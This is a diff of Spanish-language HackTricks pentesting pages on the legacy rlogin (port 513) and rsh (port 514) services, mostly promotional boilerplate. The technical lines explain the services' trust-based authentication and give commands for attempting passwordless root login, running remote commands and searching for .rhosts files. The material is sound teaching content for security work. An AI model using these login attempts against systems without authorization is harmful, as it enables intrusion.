* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# 513 - Pentesting Rlogin
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -21,9 +22,9 @@ Otras formas de apoyar a HackTricks:
## Información Básica
En el pasado, **rlogin** se utilizaba ampliamente para tareas de administración remota. Sin embargo, debido a preocupaciones sobre su seguridad, en gran medida ha sido reemplazado por **slogin** y **ssh**. Estos métodos más nuevos proporcionan una seguridad mejorada para conexiones remotas.
En el pasado, **rlogin** se utilizaba ampliamente para tareas de administración remota. Sin embargo, debido a preocupaciones sobre su seguridad, ha sido en gran medida reemplazado por **slogin** y **ssh**. Estos métodos más nuevos proporcionan una mayor seguridad para las conexiones remotas.
**Puerto predeterminado:** 513
**Puerto por defecto:** 513
```
PORT STATE SERVICE
513/tcp open login
@ -33,7 +34,7 @@ PORT STATE SERVICE
# Install client
apt-get install rsh-client
```
Puedes usar el siguiente comando para intentar **iniciar sesión** en un host remoto donde no se requiere contraseña para acceder. Intenta usar **root** como nombre de usuario:
Puedes usar el siguiente comando para intentar **login** en un host remoto donde **no se requiere contraseña** para el acceso. Intenta usar **root** como nombre de usuario:
```bash
rlogin <IP> -l <username>
```
@ -48,16 +49,17 @@ find / -name .rhosts
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,49 +1,51 @@
# 514 - Pentesting Rsh
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
Para la autenticación, se utilizaron archivos **.rhosts** junto con **/etc/hosts.equiv** por **Rsh**. La autenticación dependía de direcciones IP y del Sistema de Nombres de Dominio (DNS). La facilidad para falsificar direcciones IP, especialmente en la red local, era una vulnerabilidad significativa.
Además, era común que los archivos **.rhosts** se colocaran dentro de los directorios de inicio de los usuarios, que a menudo estaban ubicados en volúmenes de Sistema de Archivos de Red (NFS).
Además, era común que los archivos **.rhosts** se colocaran dentro de los directorios personales de los usuarios, que a menudo se encontraban en volúmenes del Sistema de Archivos de Red (NFS).
**Puerto predeterminado**: 514
**Puerto por defecto**: 514
## Inicio de Sesión
## Login
```
rsh <IP> <Command>
rsh <IP> -l domain\user <Command>
rsh domain/user@<IP> <Command>
rsh domain\\user@<IP> <Command>
```
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#rsh)
### [**Fuerza Bruta**](../generic-methodologies-and-resources/brute-force.md#rsh)
## Referencias
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}